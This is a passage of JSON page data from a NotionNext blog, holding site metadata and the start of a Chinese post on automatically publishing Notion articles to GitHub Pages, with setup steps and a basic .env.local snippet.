33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":"","blockMap":{"block":{"ce6b6618-a118-4ee9-b74c-33a848d0f0ed":{"value":{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","version":793,"type":"page","content":["fc9327dd-154c-4aaf-a6c2-dddeff9bfd00","0f5498bf-87f8-4a8e-a129-08f21f3dd7ad","2ca713d3-da29-4c79-a8f0-160fd89a3131","42068f89-093f-4eac-a6a8-22bb1b77cfbe","4739ebdd-704b-4019-a6d7-bad1179eec4b","6f60deab-d63b-4de5-915f-341292360b4f","bf8e4149-2f5d-4635-9ced-58c144d4eb4e","04317d6a-b950-4a37-9367-8aba1c1d7cfc","f952f956-265d-4035-ab19-a864c14fe426","841e111e-a8b9-4ca5-876f-a9b5c7599d03","e4b36691-3791-48d7-a70f-660033231f7d","c85383f1-52f2-4a78-8c63-4c3e26989def","9dd5d166-27ab-4f04-a7c3-65410bae57b6","7c70ce1a-054e-49ad-8af1-119e64032d58","ad4e6819-2bbc-40df-80f1-d1ee9ebecb15","e33e5c7a-5bed-4eff-bd86-4bdb596d03b2","4d0e9197-534f-4b33-9e93-95276591ddf9","31ab52d0-3782-4e62-83ba-7e47d3d5366e","e3fcc0e1-db85-484c-b799-973358da5c15","2992810d-657a-4ba9-9132-1351b3060bd5","3a1f742a-0d19-4590-8e61-2f948b5e7111","f7a5fdcf-9092-44ab-9842-57be93aed9ea","c1cc4548-3e10-4d0b-bbc4-e203ad30dd03","f6edcd65-59b1-412b-90db-48a98653fa08","10e2b13c-bc4e-4e9e-bd87-54e52f3790ef","b5e101f9-29ce-4cbe-9051-a455fbfa12ea","5040c940-a117-4c50-9ed5-bd7dfc5c7a7c","12eb9707-d557-4a4c-9ee9-8423754c863c","e0c24ed4-6466-40fb-9355-e77528efa546","7c9fba5b-528b-4d18-b9f9-4d5d644bc7f4","f68a55bb-51a5-407c-86fe-101b87a984a8","fa8a068e-1ee7-43ac-9c27-50fb204ab1de","c52418f1-f238-4e4f-92ae-676ea107de4f","7f2e7b2f-b461-4a91-808e-0fb77f22dc8a","a0844b1e-1198-4102-b122-6b3ea7184b02","9aee9707-8be2-4297-b520-4bf625987555","0b64a55d-bf95-4fa9-9e44-435a74b6794e","e887f9e4-fd50-4a98-8df4-a188b79eca45","3e8c7258-01bc-4109-8021-5d0dd9079b22","56c7c669-d908-485a-b287-e3fb823d0efa","5a7bd692-d0cb-44f6-a331-c41efd97ba46","b1dc3a62-10f2-4a17-a6b8-3cd3235f668c","6d6b97c1-1d36-4848-85cb-2759b1070f95","4d2adebf-0523-4a9b-a0c1-cef677a2cdae","6375e8ed-e4d3-43d4-9758-396b026bc926","a872631e-d867-4905-8408-7ed0a3c02cc2","0174ca16-501d-463e-97f8-02d1068ae63f","f952144c-08c3-4adf-8362-682836167eab","619521b6-6468-479f-aba9-26d165b1d416","f7c6f34a-1629-49e5-9609-3ea558b11f24","1b3e5361-0df6-49c2-a40c-32f123fd9cfb","4b330d96-2943-4e6f-b263-d060afecba84","75edd45c-01b6-42ad-a356-af57465bba9b","1614c8d3-bb33-4af5-8609-6cee2e2cda39","9370f961-ddc1-4a0c-910d-b79bc2250eac","063f1942-4cba-4357-80a4-09313a3f0d07","daedf0cf-3d86-4bb7-ad20-e11040afcae2","1972b0e8-433f-4097-97ab-64cc8d19a50e","b8d7b2b2-fde3-4010-93a0-7af0f879685e","78c44322-791d-4126-bc4f-2ea1e4fac3e3","a53ee171-d741-4e49-8daf-df5e62f18d8d","0ab6df8c-8599-4cea-92cd-7f5059097ff8","9690bac2-76a6-4f23-9725-701322a573e5","e36d24e3-7992-4eb6-939a-fd11e1b53f06","b41d838b-6fbe-4d71-9722-dadacb382dcf","130d2fea-5722-4d03-b8ad-e87108f5a4c8","b7da95f3-dcd5-4fe4-8a6a-6a85a0dbf6fd","b3324876-371f-4045-b072-9dbf1508458d","761d38bd-740e-4f58-a2fe-b740adfb3bd5","c5050e56-238a-43c9-a868-0b977934d7c9","1eeb0e91-e622-4207-a487-f593e61cbafc","b15058de-7c95-4b23-8f5c-4ec0f6f3f46a","728023af-c072-43d3-b5eb-b90e0f683d0e","9144d30d-d0cd-43c6-867b-4a5554268b55","b76e0a4c-8033-43c6-aef8-d5b147dcad2a","66217c67-4273-4621-a92c-816bc797538f"],"format":{"page_font":"serif","page_icon":"📗","page_cover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1705639082663,"last_edited_time":1710868440935,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"d3216be6-1b27-40e7-8677-7404896b7eb6","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"fc9327dd-154c-4aaf-a6c2-dddeff9bfd00":{"value":{"id":"fc9327dd-154c-4aaf-a6c2-dddeff9bfd00","type":"text","format":{"copied_from_pointer":{"id":"6c2aad49-6a12-4775-914f-7ed36358eb32","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082650,"last_edited_time":1705643463819,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"6c2aad49-6a12-4775-914f-7ed36358eb32"}},"0f5498bf-87f8-4a8e-a129-08f21f3dd7ad":{"value":{"id":"0f5498bf-87f8-4a8e-a129-08f21f3dd7ad","type":"table_of_contents","format":{"block_color":"gray"},"created_time":1705643428854,"last_edited_time":1705643560371,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"2ca713d3-da29-4c79-a8f0-160fd89a3131":{"value":{"id":"2ca713d3-da29-4c79-a8f0-160fd89a3131","type":"header","properties":{"title":[["契机"]]},"created_time":1705643440615,"last_edited_time":1705643441621,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"42068f89-093f-4eac-a6a8-22bb1b77cfbe":{"value":{"id":"42068f89-093f-4eac-a6a8-22bb1b77cfbe","type":"quote","properties":{"title":[["Notion GitPage docker 自动化整合"]]},"created_time":1705643448511,"last_edited_time":1705648469373,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"4739ebdd-704b-4019-a6d7-bad1179eec4b":{"value":{"id":"4739ebdd-704b-4019-a6d7-bad1179eec4b","type":"callout","properties":{"title":[["之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。\n\nNotion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了\n\n最近发现NotionNext,但需要"],["Vercel",[["b"]]],["部署,还需要自己映射域名\n所以想着用xx"],[".github.io",[["a","https://bothsavage.github.io/"]]],["域名,优雅又方便"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"c2d6e2c5-296b-475c-b2d8-7723d212a732","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082652,"last_edited_time":1705647607637,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"c2d6e2c5-296b-475c-b2d8-7723d212a732"}},"6f60deab-d63b-4de5-915f-341292360b4f":{"value":{"id":"6f60deab-d63b-4de5-915f-341292360b4f","type":"header","properties":{"title":[["NotionNext搭建"]]},"format":{"copied_from_pointer":{"id":"f0f6bef4-ecce-4a2f-a4c3-08d7582d4c2a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082654,"last_edited_time":1705775512615,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"f0f6bef4-ecce-4a2f-a4c3-08d7582d4c2a"}},"bf8e4149-2f5d-4635-9ced-58c144d4eb4e":{"value":{"id":"bf8e4149-2f5d-4635-9ced-58c144d4eb4e","type":"sub_header","properties":{"title":[["官方文档"]]},"created_time":1705639713353,"last_edited_time":1705644676899,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"04317d6a-b950-4a37-9367-8aba1c1d7cfc":{"value":{"id":"04317d6a-b950-4a37-9367-8aba1c1d7cfc","type":"embed","properties":{"source":[["https://docs.tangly1024.com/about"]]},"format":{"block_height":320},"created_time":1705641722077,"last_edited_time":1705643560371,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"f952f956-265d-4035-ab19-a864c14fe426":{"value":{"id":"f952f956-265d-4035-ab19-a864c14fe426","type":"sub_header","properties":{"title":[["拷贝模板"]]},"created_time":1705639713353,"last_edited_time":1705644678428,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"841e111e-a8b9-4ca5-876f-a9b5c7599d03":{"value":{"id":"841e111e-a8b9-4ca5-876f-a9b5c7599d03","type":"text","properties":{"title":[["https://www.notion.so/bothsavage/02ab3b8678004aa69e9e415905ef32a5?v=b7eb215720224ca5827bfaa5ef82cf2d\u0026pvs=4",[["a","https://www.notion.so/bothsavage/02ab3b8678004aa69e9e415905ef32a5?v=b7eb215720224ca5827bfaa5ef82cf2d\u0026pvs=4"]]]]},"created_time":1705639856713,"last_edited_time":1705640320698,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"02ab3b86-7800-4aa6-9e9e-415905ef32a5":{"value":{"id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","type":"collection_view_page","content":["254eced8-9cba-4f90-9990-a885bd567dd0"],"view_ids":["b7eb2157-2022-4ca5-827b-faa5ef82cf2d","5010afdb-92b5-4f49-958b-0b8c900d6190","a80c22ef-8b56-410d-af06-07615c5f2654","e17348d8-5a80-4f02-813c-025b790d16c8"],"collection_id":"4379bc14-5d22-453b-a153-12639616fc01","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"4379bc14-5d22-453b-a153-12639616fc01","table":"collection","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"copied_from_pointer":{"id":"bee1fccf-a3bd-47a1-a7be-83cc71372d83","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"27074aef-7216-41ed-baef-d9b53addd870"},{"role":"reader","type":"public_permission","added_timestamp":1681797627522}],"created_time":1636081968996,"last_edited_time":1711250944168,"parent_id":"cbcf52f3-6400-43ff-8a25-eb7ccd5eb694","parent_table":"block","alive":true,"copied_from":"bee1fccf-a3bd-47a1-a7be-83cc71372d83","file_ids":["abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","29db38d2-d5fa-4fa6-8a92-3b527cfe80d1"]}},"e4b36691-3791-48d7-a70f-660033231f7d":{"value":{"id":"e4b36691-3791-48d7-a70f-660033231f7d","type":"image","properties":{"size":[["115.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/24c70ece-4e97-4f0d-a322-ab31a62f3f62/Untitled.png"]]},"format":{"block_width":481,"block_height":408,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/24c70ece-4e97-4f0d-a322-ab31a62f3f62/Untitled.png","block_full_width":false,"block_page_width":false,"block_aspect_ratio":0.8482328482328483,"block_preserve_scale":true},"created_time":1705639889629,"last_edited_time":1705639893237,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["24c70ece-4e97-4f0d-a322-ab31a62f3f62"]}},"c85383f1-52f2-4a78-8c63-4c3e26989def":{"value":{"id":"c85383f1-52f2-4a78-8c63-4c3e26989def","type":"sub_header","properties":{"title":[["分享到站外并且复制自己的pageId"]]},"created_time":1705639808992,"last_edited_time":1705644680829,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"9dd5d166-27ab-4f04-a7c3-65410bae57b6":{"value":{"id":"9dd5d166-27ab-4f04-a7c3-65410bae57b6","type":"image","properties":{"size":[["176.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/46d9eea0-7578-4327-8ca7-c62bc14891af/Untitled.png"]]},"format":{"block_width":1144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/46d9eea0-7578-4327-8ca7-c62bc14891af/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.916083916083916,"block_preserve_scale":true},"created_time":1705639991519,"last_edited_time":1705639995396,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["46d9eea0-7578-4327-8ca7-c62bc14891af"]}},"7c70ce1a-054e-49ad-8af1-119e64032d58":{"value":{"id":"7c70ce1a-054e-49ad-8af1-119e64032d58","type":"text","created_time":1705639713353,"last_edited_time":1705640018566,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"ad4e6819-2bbc-40df-80f1-d1ee9ebecb15":{"value":{"id":"ad4e6819-2bbc-40df-80f1-d1ee9ebecb15","type":"text","properties":{"title":[["假如:pageId=12345",[["b"]]]]},"created_time":1705639713353,"last_edited_time":1705640073949,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"e33e5c7a-5bed-4eff-bd86-4bdb596d03b2":{"value":{"id":"e33e5c7a-5bed-4eff-bd86-4bdb596d03b2","type":"sub_header","properties":{"title":[["fork大佬的项目到自己GitHub上"]]},"created_time":1705639713353,"last_edited_time":1705644682620,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"4d0e9197-534f-4b33-9e93-95276591ddf9":{"value":{"id":"4d0e9197-534f-4b33-9e93-95276591ddf9","type":"external_object_instance","format":{"domain":"github.com","use_crdt":false,"original_url":"https://github.com/tangly1024/NotionNext"},"created_time":1705640132686,"last_edited_time":1705640132686,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"31ab52d0-3782-4e62-83ba-7e47d3d5366e":{"value":{"id":"31ab52d0-3782-4e62-83ba-7e47d3d5366e","type":"sub_header","properties":{"title":[["运行测试\u0026打包"]]},"format":{"copied_from_pointer":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082651,"last_edited_time":1705644689287,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"9369db5e-52eb-4c76-8f20-ee3937c65109"}},"e3fcc0e1-db85-484c-b799-973358da5c15":{"value":{"id":"e3fcc0e1-db85-484c-b799-973358da5c15","type":"code","properties":{"title":[["#更改.env.local\nNOTION_PAGE_ID=12345\nVERCEL_ENV=production\n#本地测试一下\nyarn 